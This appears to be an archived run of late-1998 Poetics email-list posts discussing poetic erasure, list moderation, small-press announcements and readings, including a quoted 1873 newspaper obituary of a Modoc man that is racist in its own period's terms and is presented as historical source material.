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<P>Cumberland Gap. Donner Pass.

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<P>list/list

<P>mc</HTML>

----------54DCC90196B3EFF7B435EF7E--

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375. **Amy King**
Re: Erasing and the Ghost of Listserv Present
Thu 10 Dec 1998

-----Original Message-----
From: Mark Prejsnar <[redacted]>
To: [redacted] <[redacted]>
Date: Tuesday, December 08, 1998 5:02 PM
Subject: under and over erasure

> *has a long work in which he used Duchamp's random generated forms, called "stoppages," to **erase** sections of prose from a number of books on Duchamp's life and work....These are further worked, and the result is a sequence of poems shaped and formed by useing *exclusion* or erasure as **the primary poetic technique**, in a sense.*

This version of erasure is the closest I've read so far about the erasing that seems
to have struck much pop culture as of late: to take a set of conditions and remove
some element in order to define the reconfigured result.

The X-Men at Marvel are recently finding what it means to live as if Wolverine never
was made; One of Buffy's friends wished the Slayer had never come to town on this

week's episode; this weekend Xena will learn what the world would be like if she
had never quested for power but stayed in her little village for life.
Soon, Scrooge
will be popping up to be erased for seasonal festivities.

I think this cultural obsession stems from more than just wanting to know how much
we'll be missed. Of course, the implications abound, but specifically, and I have not
thought about this thoroughly yet, but this erasing seems to be about measuring
"power" by erasing a presence to reveal the places that presence affected. The
gaps
get filled in, but by what? The wrench in the monkey is that we all know that
someone was here, now she's gone but let's pretend she never was. Buffy's
writers did a poor job because she still popped up in the town she wasn't
supposed to ever come to. She filled in her own gaps.

But I am far more interested in this kind of erasing as a technique I have never
consciously tried within poetry, aside from editing out to avoid being expository
in my work. I've heard about poets writing about a topic without using words
that define or reveal that topic
but what about the "What if it was here and I've removed it" practices?
Does anyone know of work that plays with those implications, not as random
word erasing, or am I simply
being too abstract/oblique here?

Henry has not gone; he has become the ghost of Listserv Present.

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376. **ike/clare**
Re: ErAuster
Thu 10 Dec 1998

---

i've read _The Invention of Solitude_ and _Leviathian_ and none of his poetry.
Both of these works, the former a meditation on his father and a strange altered
family photo, the latter about a man(1) who retraces how a man(2) who has

blown himself up has affected this man's (1,3) (love) life, are mighty erasurly. maybe my fortune cookie was right: Absence makes the heart grow fonder.

ike

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377. A. Jenn Sondheim
Erasing
Thu 10 Dec 1998

I don't honestly see HG as the ghost here, any more than others come and gone. Lists change all the time; the oddity is that Poetics changed so little for so long. Populations pass through them. There are others who have left here out of chagrin, and I've had to go off from time to time as a result of overflowing mailboxes.

Meanwhile, one might look at instances of _the disappearing woman,_ which form a matr/ix covering a great deal of ground (metaphysical and other- wise). Not only Lilith as an obvious case (the doubled Eve creation in B'rashit), but also Melies' use of _the sawed woman_ or _disappearances_ of women by magicians. From there through Patty Hearst, so much narrative depends on this disappearance and suturing (and think of Irigaray's in- stance of the woman as a _transitive function_ or other between the same/ same relations among men - not to mention functions of 'wife-swapping' (never called 'husband-swapping'), etc.).

With Heidegger, Derrida, with Freud's absent answer to 'what does woman want,' with Lacan's lack, and so forth (think again of the absence of pubic hair on all those classical statues), it is the woman/womyn, that is turned-aside, as if in embarrassment. In erasure, there is this political context, then, political economy. It's a deeper/other level than that of erasing a drawing or a text or obscuring part of a work, which in fact might even be said to operate precisely as suture, making the world safe for absence. (To say this is not to make it so, of course - I am only pointing out that erasure doesn't necessarily carry liberation, but in fact can be politically problematic. Randomly erasing a text is one thing; randomly erasing people, say in Stalinist Russia, is another. In any case erasure is loaded, is overdetermined in so many ways.)

Alan

↑ Index

378. **Daniel Zimmerman**
Re: erasure/frags
Thu 10 Dec 1998

Emily,

Thank you for your wonderful posts [after reading them once, I've had to save them for later savoring]. Anent erasure, two things: first, the first section from Anselm Hollo's "four stills from _the poet_ / for Tom Raworth" [in _Maya_], for me a locus classicus re erasure:

_the poet, drunk, is seen
composing a poem to the revolutionaries
of the world._

it is to be a long poem.

while working on page 9 he realizes
that he is stone cold sober:
he stops, goes back,
reads what he has written
starts crossing out words --
lines -- sections --
whole pages.

one line remains,
on page five. it says:

the heroes, their mouths full of

it is not
a very good line. maybe
he only forgot to cross it out.
we cannot
ask him.
he has fallen asleep.

[<<27 years ago, I performed -- no doubt in much the same state -- a similar service for the esteemed Finn; I hope he has forgiven me>>]

Second: my sonnetoidal "Isotope" poems, which I began to write in August, 1997 [based on anagrams of 4x4 wordsquares I construct] result from a kind of erasure of all but 14 of the possible combinations of the 16 letters in each wordsquare which form lines of words. In each case, I work with a complete and finite set of such lines [usually several thousand]. In the "Isotopes," though, one can restore all the erased elements by taking any of the remaining lines and running it through an anagram generator -- so, in a sense, they constitute a ratour sans ratour, a presence signalling or floating upon a determinate absence.

I hadn't thought of them in this way until I'd begun to 'wind up the golden ball' of this erasure thread, but it helps me to scope out [theodolize] the 4x4iverse. Muchas gracias, amiga.

Dan

Emily Lloyd wrote:
>
> One more post, then I'll stop being such a space glutton.
>
> In a course once, while we were discussing the work of a poet who wrote in
> fragments, somebody said, "But once we get the whole fragment thing, why
> do we need any more poems written in fragments? I mean, I *get* it
> already." Basically a riff on Williams' "All sonnets say the same thing,"
> replacing "sonnets" with "fragments," and of course I countered with "Why
> do we need any more sonnets?" etc. I couldn't decide whether the person
> was playing devil's advocate or just being kind of stupid.
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> I'm ready for folks to be similarly indecisive about me: when does the
> proliferation of "erasurey" work at this point in time go from being the
> (only? most?) possible, logical, ethical response to the past half-century
> to being, well, maybe, kind of trendy? Ever? ("Instant Ethics! Just add
> white space!" ...and when did the term "stubble fields" go from being
> a term one might but probably needn't ever use to the requisite included
> term in all poems published in *Poetry*?)
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> On another tack--what, if any, is the relationship between "the poetry of
> erasure" (not bad lyrics for a europop group) and, also specific to our
> last (max.?) 50 yrs or so, the poetry of "breaking one's silence" (if
> one's in any group viewed as or treated as a minority)? Can one "break
> one's silence" w/ an erasure? I think so! How about that! Interesting.
>
> Hilton brought up Paul Auster. I've only read *The New York Trilogy*, in
> which characters become the obsessive, thorough, unwitting agents of their
> own erasure. In doggedly trying to fill some gap or void--some previous
> erasure?--they erase themselves. This translates with more slippery
> consequences, I think, than those poems which "ethically" describe/reflect
> an erasureful or fragmented world in an erasureful or fragmented way. For
> one, it implicates the writer/maker-of-things in the
> fall/corruption/breakage; the writer is inescapably held responsible,
> too...the "helplessness" or "impossibility" of the writer to honestly
> write in anything *but* fragments &/or erasures seems, somehow, more
> genuine & horrifying to me here--where those who are hell-bent on helping

> (read: writing in whitespaceless sentences) and "equipped," they think, to
> do so, end up helpless, too...and this *process* is recorded/enacted.
>
> em

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379. Leonard Brink

Announcement - Inscape #4

Thu 10 Dec 1998

INSCAPE 4 features 32 pages of poetry by:

Patrick Durgin
Brydie McPherson
Sheila E. Murphy
Laynie Browne
Jono Schneider
Dana Lomax
Alan Catlin
Gian Lombardo
Spencer Selby
Drew Milne
Yours Truly

it's printed on good paper and available from:

Instress
P.O. Box 3124
Saratoga, CA
95070

for $4

But Wait! That's not all. For the low, low price of just $10 you can receive this cute little magazine PLUS the following chapbooks of similar size:

Emblems by Martha Ronk
&
Next Song by Maxine Chernoff

Both contain very nice poems which are printed on 70 lb. linen-finish paper with translucent fly-leafs and semi-attractive covers -- fun to hold in your hands and read.

But Wait! That's not all. Whether you are new to the Instress series or already a subscriber, why not give the gift of chapbooks to a friend or loved one this holiday season for the super low price of just $9 for each additional set!

No friends? No loved ones to share the holiday spirit with? Why not support the arts, spread holiday cheer, AND make a new friend by sending a check to me, Leonard Brink.

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380. Tom Orange

STOP IMPEACHMENT! Free call to Congress. (fwd)

Thu 10 Dec 1998

STOP IMPEACHMENT! Call the Capitol Switchboard for FREE:

1-877-TO-MOVEON ([redacted])
December 9, 10, 11
Wednesday, Thursday, and Friday
==========

The House leadership is rushing to IMPEACH the President before the newly elected Congress is sworn in, on a purely partisan vote. THE VOTE WILL BE VERY CLOSE. If they succeed, the nation will be paralyzed for months as the President is put on trial in the Senate.

You can prevent this.

(1) CALL 1-877-TO-MOVEON ([redacted])
to be connected to your representative for FREE
(2) Alert your friends and colleagues by forwarding this message
(3) Get others to call 1-877-TO-MOVEON this week -- talk to them personally
(4) Click on http://www.moveon.org/actionplus.htm so we can count your call and report totals to the press.

For just three days, December 9th through December 11th, we have arranged for FREE long distance calls direct to Capitol Hill. We need to make Congress understand the nation's passionate opposition to this cynical and destructive use of the impeachment process. Everyone must call. Call toll free 1-877-TO-MOVEON ([redacted]) to reach the Capitol Hill switchboard and ask for your representative. If you get a busy signal, try again or use the direct numbers given above. The direct D.C. number is better for lobbying, but will cost a few dimes.

Tell your friends and colleagues about 1-877-TO-MOVEON. They can just give the operator their zip code to be transferred to their Member of Congress. It's easy and FREE.

Once you reach your representative's office, let the staff member know (1) that you are a constituent (by giving your name and city) (2) that you are opposed to impeachment, (3) and that you expect Congress to immediately "MOVE ON" to important issues. Express your own personal concerns and ask for a response from your representative.

Click on http://www.moveon.org/actionplus.htm to do even more. We've got to act now.

Free calls are provided courtesy of Working Assets Long Distance (http://www.wald.com). The 1-877-TO-MOVEON action line will be active from December 9 to December 11, 1998 only. You can call the congressional switch-board at any time directly at [redacted].

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381. **Rachel Levitsky**

Re: Book Announcement: The Qualms of Catullus & K-mart

Mon 10 Dec 2012

I love this book. I really love this book.

Try it. You might love this book too.

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382. **Jim Bennett**

Re: Erasing

Thu 10 Dec 1998

Hi all I thing there are two possible strands at work in this erasure discussion (well there are others , but two that I want to address), The first is erasure to make a poem more permeable, transparent in parts which invite the reader to fill in (or fall in) and it is true that some poems are accessible because of what has been omitted, or erased, but left visible below the text. The second is the idea of compression which I think is different and often creates an impermeable wall forcing the reader to accept the writers images. In our own minds erasure is non selective, but I am always intrigued at the quotes I remember, I think seamlessly only to find words missing or transposed.

I am very interested in accessibility in writing and it is the transparent quality of language used which creates the eye kick and the immediacy quotient, but that is selected through choice, and selection implies erasure. And how much can be taken away before meaninglessness takes over or does it ever? Perhaps the spacial quality of words means that there will always be a gestalt forced on the reader.

Jim

erasure
permeable
transparent
accessible
visible
compression
impermeable
images
seamlessly
transposed

accessibility
transparent
quality of language
immediacy
erasure
meaninglessness

gestalt

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383. **Daniel Carter**
Re: items eye polite dangers and other softnesses
Thu 10 Dec 1998

> *hey Daniel. I like your manifesto.*
>
> *Randy*

why thank you very much/(for the inkcouragement), Randy.

Daniel

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384. **Daniel Carter**
Torque Inly failed the skies
Thu 10 Dec 1998

distant(ly) his sway(ing) frame of flame(s) Torque Inly veiled the skies that tangent thin thus slowingly that tan gent did swarth 'n' swerve is-way though gently oh missing letter planeted win new sighs (that newly now) mattered M cooly sparked madness writ dawn the day when thus and not lived therefore relieved not relived thereof the clothedness of hem add herness shy of nest her nest

would have pen but toured without a hat though therein planted nun the lesson he did listen 'n' list therein the hen could not re-systematize

↑ Index

385. Michael Magee
Re: Frank O'Hara, Skanky Possum
Thu 10 Dec 1998

Hoa, could you send me a copy of What's Up with Modern Art? - check's in the mail. -m.

According to Hoa Nguyen:
>
> --(please forgive cross postings)--
>
> Hello everyone:
>
> I am currently taking orders for:
>
> A new pamphlet sized book(like the old Black Sparrow books),
> _What's Up with Modern Art_, selected short reviews and other art
> writings by Frank O'Hara, edited by Bill Berkson. A charming
> unpublished photo of FOH graces the back. The collection takes its name
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> Critic" from _Ingenue_, a glossy magazine "for sophisticated teens",
> (1964). From Mike and Dale's Press. Only $5 (US)dollars.
>
> As some may know, I was to edit the fall issue of _Mike and Dale's
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> Thayler and Alice Notely, as well as an exerpt from a memoir of Philip
> Whalen by Tensho Schneider and classic-movie reviews by Bill Berkson.
> _Skanky Possum_ features hand painted covers. From Skanky Possum Press.
> Only $5 (US) dollars.
>
> To order either, please indicate your order (title, # of copies) and
> send a check made payable to me (Hoa Nguyen) to:
>

> 2925 Higgins Street
> Austin, TX 78722
>
> Please forward this announcement to anyone who may be interested.
> Thanks for your support.
>
> Love, Hoa
>
>
>
> _____
> Get Your Private, Free Email at http://www.hotmail.com
>

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386. Mark Prejsnar
Re: Erasing and the Ghost of Listserv Present
Thu 10 Dec 1998

On Thu, 10 Dec 1998, Amy King wrote:

> *One of Buffy's friends wished the Slayer had never come to town on this*
> *week's episode; this weekend Xena will learn what the world would be like if she*
> *had never quested for power but stayed in her little village for life.*

The Buffy episode is a parody of It's a Wonderful Life (thus the Xmas timing); presumably the other is too.

Pop culture is getting too cute fer its own good--

O chateaux! O pomo!

↑ Index

387. Mairead Byrne
Re: Erasing
Thu 10 Dec 1998

For me, the erasing and censorship/moderation threads are aligned. This, I hope, is the last time I will post on this subject so I will go for full disclosure.

In November, still in the first frolics of having joined this list, full of high jinks and excitement and pleasure in relation to all the talk about poetry, and the notion of so many hundreds of experimenting poets out there, I jumped into a bout of silliness initiated by Roger Day, I think, on the subject of Mars Bars (Yes

Jonathan). Well, I'm Irish and I get lonely (but don't get me started again). I noticed that the contributors to this "thread" or "filament" were noticeably British / Irish / Canadian: yes, I for one was indulging in a bit of a canter in very few words. A post of eight words brought me the following message:

Date: Sat, 07 Nov 1998 13:57:26 -0500(EST)
From: Poetics List <[redacted]
To: [redacted]
Subject: advisory notice

This is an advisory notice from the administration of the Poetics List to remind you to keep posts to the list close to the focus of the list as indicated in the Welcome Message. Thanks for your cooperation.

On November 10, I posted reference to this notice to another "frolicking" thread -- the one about how Bill, Kent, David Baratier etc were such nice guys and should be invited to *your* town to read: Did they get advisory notices, I would ask, if the whole problematic of asking questions on this list did not inhibit me.

Witness my next post (December 7) on the subject where I asked the following 5 questions:

Is personality too raw for politics?
What do you guys really think about censorship/moderation?
Have any of you received warnings?
How many of you have been in the doghouse?
Are you still on the list and why?

None of my questions received an answer, except perhaps from Charles Bernstein who has said that very few advisory notices of any kind have been sent out in the history of the list. This does not make me feel better.

Is the list able to tolerate banter from some people and not from others? My question in relation to advisory notices was intended to draw forth the legions waving their notices. None came forward. Charles says advisory notices are hard to come by. I got one. Why? My banter worse than anyone else's? In what way? Why?

Erasure: certainly I feel that conversation/argument/ and yes, the second most favorite word after "enervated": rhetoric, takes place over my head. The Gabe/Henry/Kent controversy, consisting as it did of many long, wordy,outraged paragraphs (if we were lucky) attracted many more long, wordy, outraged paragraphs, mainly from men.

I am doubly miffed: miffed at being censured, miffed at being erased. I STAND UP HERE AMONG YOU IN CAPITALS. But then I remember my previous

dedication to the one-member society of unimportance. And I remember the kindly and thoughtful back-channels I have received from Eliza and Rosalie. And I remember that I like Gabe/Henry/Kent for making me laugh. And I like the list for making me think, putting me in touch with people, helping me towards certain books. But please, can I make a plea for a form of *listening*, even within our posts. I too believe this is a performative space, and I am totally behind Joseph Beuys. But guys, you talk too much. You see length, yes surprise surprise size, as the important thing. There must be other ways of playing this game.

In the spirit of communication, I have translated what I wanted to say into the type of longish message favored by this list. To adopt another strategy favored here, I will say that:

1. Ego is not the only form of transport for ethical issues.
2. Language is at our disposal: let us play.
3. Personality is at our disposal: let us be human.
4. Editorial censure would be better received if it were not anonymous and unsigned.
5. This medium is new: let us play.
6. Long live the backchannel.
7. Women: speak out.

I always enjoy Alan Sondheim's posts, and his post of today got me started on this. My interest in a narrative, no matter how funny, which demands my disappearance, is bound to be limited. I will be dead long enough.

Mairead
>
> Meanwhile, one might look at instances of _the disappearing woman,_ which
> form a matr/ix covering a great deal of ground (metaphysical and otherwise). Not only Lilith as an obvious case (the doubled Eve creation in
> B'rashit), but also Melies' use of _the sawed woman_ or _disappearances_
> of women by magicians. From there through Patty Hearst, so much narrative
> depends on this disappearance and suturing (and think of Irigaray's instance of the woman as a _transitive function_ or other between the same/
> same relations among men - not to mention functions of 'wife-swapping'
> (never called 'husband-swapping'), etc.).
>
>

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388. Garrett Kalleberg
TF7
Thu 10 Dec 1998

Other echoes
Inhabit the garden. Shall we follow?
Quick, said the bird, find them, find them
- T. S. Eliot, Four Quartets

The Transcendental Friend
Issue No. 7, December 1998

http://www.morningred.com/friend/1998/12/cover.html

This month's issue features some birds, some more birds, alien flight, a Flight of Imagination, and an Iguana, with work by Kevin Killian, Zhang Er (translated by Eleni Sikelianos & Zhang Er), Katy Lederer, Garrett Kalleberg, Daniel Machlin & Richard Tyson, and P. M. Deshong (presented by Jesse Glass).

Back issues of The Friend are now available from the new Home page, at

http://www.morningred.com/friend

Garrett Kalleberg
mailto:[redacted]

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389. Jim Bennett
Re: Stein,Charles,&LesbianCodes:one girl's fantasy "Oprah"
Thu 10 Dec 1998

Please note. If you get more mailings from me than is acceptable, some were sent yesterday (my time) and this is tomorrow, or something like that cos you are still having yesterday (I think).

Dear Emily (and list)

Thank you for posting your (essay?) anti-criticism, re appraisal. I found it stimulating and innovative. It echoes thoughts I have had for some time, and which have grown from discussions. Fortunately I never attempted to group these thoughts together, I say fortunately, because I do not think I could have produced anything like the depth of your piece.

I would ask, (in general, so not necessarily related to sex) if the use of specialized language, jargon or argot, has the effect of marginalising, and whether the introduction of the definitions or use of the words from common vocabularies albeit with differing definitions actually helps in the process of general

acceptability or normalising because people will find a common word out of context or in a different context easier to interpret?.

Jim

_____
Jim Bennett
University of Liverpool
U.K.

Click on this link to vote for my site. http://conline.net/vote.mv?id=1780

Click on this link to visit my site.
http://www.geocities.com/Athens/Academy/1127/

"Poetry is what the future makes of it." John Garner

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390. miekal and
Word Express Mention
Thu 10 Dec 1998

What small press publishers are actively publishing & reading experimental fiction? In particular, presses which are not buried by years of yet to come out mss. There used to be Dalkey Archives & Fiction Collective. Guess Ive been out of touch with it too long.

_____

does anyone have an eaddress for douglas rothchild or someone actively involved with setting up readings at the zinc bar

_____

the last few weeks during the muck & suck of poeticslist's growing pains, Ive been simultaneously recovering a ms which I began while in high school. It is the first book of what eventually became a long poem in 17 books called SAMSARA CONGERIES. it is really the only work of mine which remains unpublished because no one publishes long poems anymore. the section I am at work on now is called RAW. SWAY. ALOUD. and derives from an obituary I found on microfiche in the local Wisconsin Rapids Tribune. This natty little obit was the gem that inspired the whole complex of volumes. About a very modern Modoc man named Shacknasty Jack:

SHACKNASTY JACK
A touching obituary notice

Again we are called upon to perform the painful duty of announcing the death of one who, if not altogether [word unknown, blotted out] was chief

among a fraction of thousands of spirits who are not yet perfect. We refer to "Shacknasty Jack," the genial, whole-souled, or perhaps (considering his mixed parentage) we would say, half-souled, copper-colored gentleman, who recently died peacefully and in pieces, in his little lava bed. Jack, "poor fel," did not wrap what little drapery he had about him and lie to pleasant dreams, but his demise was hastened by a seven-inch shell that entered and exploded in his diaphragm, ruining his digestive apparatus that had never been disturbed by banquets of roast dog, salt horse, washed down by copious draughts of fiery, untamed benzine and needlegun whiskey. As we recall the virtues of the deceased, our pen unconsciously drifts into mourning, and we are led to exclaim:

Oh Shacknasty, thou hast left us,
No more horses wilt thou steal;
But twas Gillem that bereft us,
He can all our sorrows heal.

First we heard it was old Schnochin,
The heard twas Scar-Faced Charles
But the latest news, Shacknasty,
Says tis you have quit the earth's snarles,
Gone, but not forgotten.

Friends of the family invited to attend—covered carriages for all who wear gloves. Born of poor but honorable parents, "Jack" manifested at an early ago those traits that in after years made him famous, and would in time have sent him to Congress if his soul had not been shelled out of his ephemeral shell by a cast of iron namesake. He had served his tribe as tax collector, president of the baseball club, and was about organizing a "YOUNG RED MEN'S HORSE PLAGIARIZING ASSOCIATION," when he felt a sensation of goneness of the pit of the stomach, and was gone. Possessing many of the virtues that marked the Credit Mobelier operators, Shacknasty was almost as generous as the increased salary voters, who oly drew their back salary to pay off the public debt, and the news of his sudden death will cause a thrill of anguish in many a bosom—anguish that he was not permitted to die longer and slower by inches.

—reprinted from the Journal of American Bureau of Mines

Grand Rapids Tribune
Grand Rapids, Wood County, Wisconsin
Saturday, August 30, 1873

This obit spurred me, then a curious high school lad, to research the life of this man & perhaps write thru his words & the transliterated Modoc language, a poetic fantasy of what his life must have been. After contacting the Modoc tribal

roll (they had been moved to Norman, OK from the lava beds of Eureka area of northern CA) I discovered that according to them no one had ever existed by that name. As far as I was concerned, all the better. I later came to the conclusion that he was the portmanteau creation of 2 other well know Modoc personalities, Shacknasty Jim & Captain Jack.

All of the above is simply to preface the question, to all those who have created their own history of texts, how do they honor their own lost, forgotten, neglected mss, particularly ones from another time & place, texts that are informed by another time's poetics, a different school of poetry & most certainly a past generation's dreams? --

---

I can't get it out of my head that Charles B has tried to read all of the posts. I would never want to be made accountable for my actions if that was something I had done.

postalage

post haste

---

still wrinkling my thoughts for ways to make a poetics of hypertext project manifest front channel....as an exploration in a semi public workgroup. one of the most encourage list experiences Ive had of late was watching the texts stream thru the poetics etc list, completely taking advantage of the broadcast nature of a list, sort of an editorial voyeurism, but more provocative. the key factor for me is that there has to be a concrete & accessible body of work that comes out of it. most probably a mini-website, as archives are not useable as a functional group hypertext.

Miekal And

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391. **Roger Day**
Re: Erasing
Thu 10 Dec 1998

At 10/12/98 15:20:08, Mairead Byrne <[redacted]> wrote: # For me, the erasing and censorship/moderation threads are aligned. This, # I hope, is the last time I will post on this subject so I will go for full # disclosure. # # In November, still in the first frolics of having joined this list, full # of high jinks and excitement and pleasure in relation to all the talk # about poetry, and the notion of so many hundreds of experimenting poets # out there, I jumped into a bout of

silliness initiated by Roger Day, I # think, on the subject of Mars Bars (Yes Jonathan). Well, I'm Irish and I # get lonely (but don't get me started again). I noticed that the # contributors to this "thread" or "filament" were noticeably British / # Irish / Canadian: yes, I for one was indulging in a bit of a canter in # very few words. A post of eight words brought me the following message:

Fingered. Ouch! Henceforth, all my posts will be of a singular and solemn nature. My frisky frolicking seal-like nature will be eclipsed by a greyer, solemnicle umbrella and high jutting collar.

No, seriously. I do think there are worse crimes in the world than talking about Mars Bars, even on a list like this, although I realise that the noise-to-signal ratio should be low. BTW, apologies to Mairead on this: didn't mean to cause these problems.Oddly, I never received a similar warning message.

I do miss Henry and Kent. Well-sized, well-structured, elegant posters both.

Wibble.

Roger

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392. **Michael Gottlieb**
Alan Davies, Carole Miracove NYC Reading
Thu 10 Dec 1998

All Listers in or near NYC:

Alan Davies will be reading, with Carole Miracove, this coming Sunday evening, 12/13/98, at 6:30 PM at Zinc Bar.

Zinc Bar is located at 90 W. Houston St. NYC (just west of La Guardia Place).

This'll be great.

Michael Gottlieb

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393. **Joe Amato/Kass Fleisher**
Re: Erasing
Thu 10 Dec 1998

---

mairead, i like your seven points... may i add a friendly amendment to item 4?

to wit, and just a draft:

4. Moderation by listowner (or designee) would be better rec'd if frontchannel, signed, employed only in the most dire of controversies, and good-spirited. List

members should likewise do their utmost to avoid flaming, and to be receptive of different agenda.

i assume we all know the difference twixt flames and dry ice... i'm not sure if some of this isn't already in the poetics "welcome message" (too lazy to check), but just for the sake of conversing...

best,

joe

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394. Gabriel Gudding
Re: Erasing
Thu 10 Dec 1998

CB, PLEASE DON'T ERASE THIS!!!

THANK YOU, MAIREAD! SEe below.

On Thu, 10 Dec 1998, Mairead Byrne wrote:

> *Is personality too raw for politics?*

In my opinion, no. I've received several backchannels egging me on: people love Personality, but folks are a little afraid to show it here. I think in large part because of messages from CB like those below, which I enclose here with VERY weak apologies to CB:

"Date: Sat, 28 Nov 1998 16:59:24 -0500
From: Charles Bernstein <[redacted]>
To: Gabriel Gudding <[redacted]>
Subject: addendum to "Free Poetics"

Your quote of Kenneth Tynam I suppose was intended to be self-mocking, since your contributions to the list as far as I have been aware have been entirely in the realm of literary criticism. Before your next post, I hope you will consider not only where you are going but how, as I get the sense you are too little aware of both. What impression you choose to make on individual readers of the list is of course your problem, but what impression you make on the environment of the list as a whole is mine as well."

Date: Sat, 28 Nov 1998 17:05:05 -0500
From: Charles Bernstein <[redacted]>
To: Gabriel Gudding <[redacted]>
Subject: overpositng the list
Parts/attachments:
  1 OK 4 lines Text

2 Shown 6 lines Text

[Part 1, Text 4 lines]
[Not Shown. Use the "V" command to view or save this part]

<html> on the issue of frequency of posting: you have posted more messages this month than anyone else. You appear not to have been willing to reduce the frequency of your posts despite the request made to you earlier in the week. Daily posting is not an option. Please reduce your posts to no more than a few each week.</html>

> *What do you guys really think about censorship/moderation?*

I'm with Beuys and Rosalie & Callow, I'm with Henry, I'm with Eliza, and I think I'm with you, Mairead. I'm also with Silliman: self-moderation is good, is fine. But let's cut out the backhanded high-handed under-handed authoritative backchanneling. I say "authoritative" because CB wasn't willing after to reply to the first two responses I gave to his messages.

His posts read like the man's GOT A TEMPER!

> *Have any of you received warnings?*

Javol

> *Are you still on the list and why?*

The reasons I'm still on the list are to follow.
>
> None of my questions received an answer

I'm sorry I didn't answer them: two reasons: 1. CB had already, i thinkd by that point told me to cut back to "a few" times a week, anything else being "not an option"; 2. your questions were frankly too close to home -- answering them wd have brought out THE 12 BLICKY DEMONS.

I thank you for your boinky, Mairead.

love, Gabe

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395. David Erben (Art)
San Francisco
Thu 10 Dec 1998

My wife and I will be attending the MLA in San Francisco and I would like to ask listmembers for suggestions on restaurants/poetry venues/jazz clubs to visit.

Please backchannel.

Thank you

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396. **dbkk**
Poets of the MLA
Thu 10 Dec 1998

Mark your calendars!

Poets of the MLA

Tuesday, December 29, 7:30 p.m.
New College Theater
777 Valencia Street
$5

Every year the Modern Languages Association convenes during the last week of the year somewhere in the world and this year it's San Francisco's turn. Small Press Traffic has invited many of the finest poets in the world to read for five minutes apiece, a kind of Supermarket Sweep of the mind. They include Beth Anderson, Charles Bernstein, Stephen Cope, Benjamin Friedlander, Loss Pequeno Glazier, Carla Harryman, Pierre Joris, Tan Lin, Nicole Markotic, Andrew Mossin, Sianne Ngai, Jena Osman, Ted Pearson, Bob Perelman, Meredith Quartermain, Jerome Rothenberg, Lisa Samuels, Gail Scott, Lytle Shaw, Chris Strofolino, Barrett Watten.

We'll post a reminder closer to the date.

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397. **Billy Little**
Re: mars/bars/spars/stars
Thu 10 Dec 1998

---

sorry mairead
i got an advisory b/c about the same issue and i thought i had wrestled the candy bar into a stanza
to wit

in new york in august we kept our mars bars in the freezer, break them with a hammer, yum, cold and sweet, no gooey. the more delicate saw a slice off with a serrated knife, let the cool chocolate melting lubricate their murderous thoughts and i responded f/c with another pome which i seem to have lost right now and you even responded appreciatively so i thought you understood we were in the same doghouse i've been an activist all of my adult life and know

how anger can poison my days and even effect those i least want to burden so if i can deal with it right away and transmute that energy into something useful like a poem or comic relief, turning that anger into pride enables me to protect my associates, i thought joel was a little overzealous but i could see he was anxious about his relocation and how it would affect his relationship with charles and his stewardship of the list so i shrugged and got a little solidarity note i thought b/c from you. I remember Bowering posted on this as well and i wondered at the time if he got a note from joel but i never asked just switched my allegiance to o henry bars.

Let go, shirk off the moderate little grace of vain
Cupid and grease the silver and lascivious age.
His livid qualms dope our cool arrival.
Rich poems sag like great nuns; art cheats time's martyrs.
--Lisa Robertson XEclogue

billy little
4 song st
satori, b.c. V0R1Z0

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398. Jordan Davis
Don't all call me Archibald Cox at once (or even James G. Farley)
Thu 10 Dec 1998

So, just to be
clear, is this now
a moderated list? Just
want to know what
I'm posting to, and
whether I can expect
messages I (or anybody
else on the list) sends
to be delivered.

Luv,
Hilary Rodham Donald Segretti

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399. **Aldon Nielsen**
the poetics of impeachment
Thu 10 Dec 1998

Just heard the majority counsel describe interrogatives as declaratives. I suspect, given his resume, that he does know the difference. Is this, to use my newly acquired word, "perjurious"? without an Office of Independent Grammarian I suppose we're in for any amount of abuse of language powers this week --

and, having heard so much about this, I just looked up "sexual relations" in my Websters -- despite the fact that the entry for "sexual intercourse" includes a secondary definition that seems to accomodate non-penetrative genital contact (now that was a surprise to me), the one and ONLY definition for "sexual relations" reads, in its entirety, "COITUS" --

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400. **jen hofer**
thoughts not announcements: on meaning, hejinian, my life
Thu 10 Dec 1998

as for:
>My simplest, puritan definition of an L=A poet would be a poet whose
>primary interest is in abandoning (nicer light: questioning) "the
>signifying function of language, evoking instead the sounds, the
>non-referentiality of words."

it is firmly my belief that all words reference. (i.e. we cannot get away from the denotative & connotative signifying functioning of language, though we can--thankfully--disrupt those in many & delightful ways.) i cannot speak for lyn hejinian, but i would be shocked if she subscribed to the belief that she does not mean her words to mean. this is not to say that she (or any other poet) means her words to mean for you what they mean for her, or even that we believe our words to mean now what they will or might mean tomorrow, or etc. questioning (or challenging or exploring) the signifying function of language, and the politics of such, is not the same thing as abandoning signification (were that even possible).

i find it much more useful to think of langpo as a historical moment, involving certain players (hejinian among them, along with many others whose initial alleged L=A=N=G=U=A=G=E texts can be found in the delightful anthology of that very name edited by bernstein & andrews) rather than a homogenized ideology or poetics that binds these very diverse writers together. like any historical moment, especially one well-documented textually, langpo has vast & varied

reverberations. plus gives young folk like myself the option of calling ourselves "post-language" which, to my ear, is rather delightful.

& while my virtual mouth is open (which it rarely is for reasons already mentioned by the much-appreciated likes of juliana spahr & elizabeth treadwell) i'll mention this about _my life_: according to the biographical notes at the end of the sun & moon volume, "Hejinian further explored her own past and autobiography (in _My Life_). Writing it in 1978, in her 37th year, Hejinian constructed a work of 37 sections of 37 sentences, each section paralleling the year of her life. For the second Sun & Moon edition, published eight years later, Hejinian added 8 sections and 8 new sentences to each previous section to account for her current age."

when she added the new sentences, she did not just tack them onto the end of each section, but rather interspersed them throughout the various sections, thereby changing the resonances of some of what she had written earlier. she did not allow herself to re-write the previously published text, though i am pretty sure she cut out a few words here & there.

i hadn't posted on _my life_ earlier because i figured that many people knew this information & would have already backchanneled maria; therefore, if this is redundant, please forgive.

je

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401. Daniel Kane
"Deep Image"
Thu 10 Dec 1998

Am wondering if anyone on this list can point me to essays which analyze the "Deep Image," particularly if such essays look at the "movement" in an historical perspective -- i.e., by looking at the magazines "Trobar" and/or "Pictures from the Floating World" and their complicated relationship to/reconciliation of "outsider" poets like R. Kelly and "academic" poets like James Wright. You can backchannel me at <[redacted]>. Much appreciated.

Also want to say that the book _Close Listening_, ed. Charles Bernstein and published by Oxford University Press, is just terrific -- smart essays dealing (finally!) with and exploring the fact that poetry is experienced as a spoken and social thing as much as a read thing. Anyone know if there are essays looking at the potential effects of stage fright on reception of a given poem?

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402. A. Jenn Sondheim
Jennifer on Republicans
Thu 10 Dec 1998

=

why i'm dead meat, by jennifer

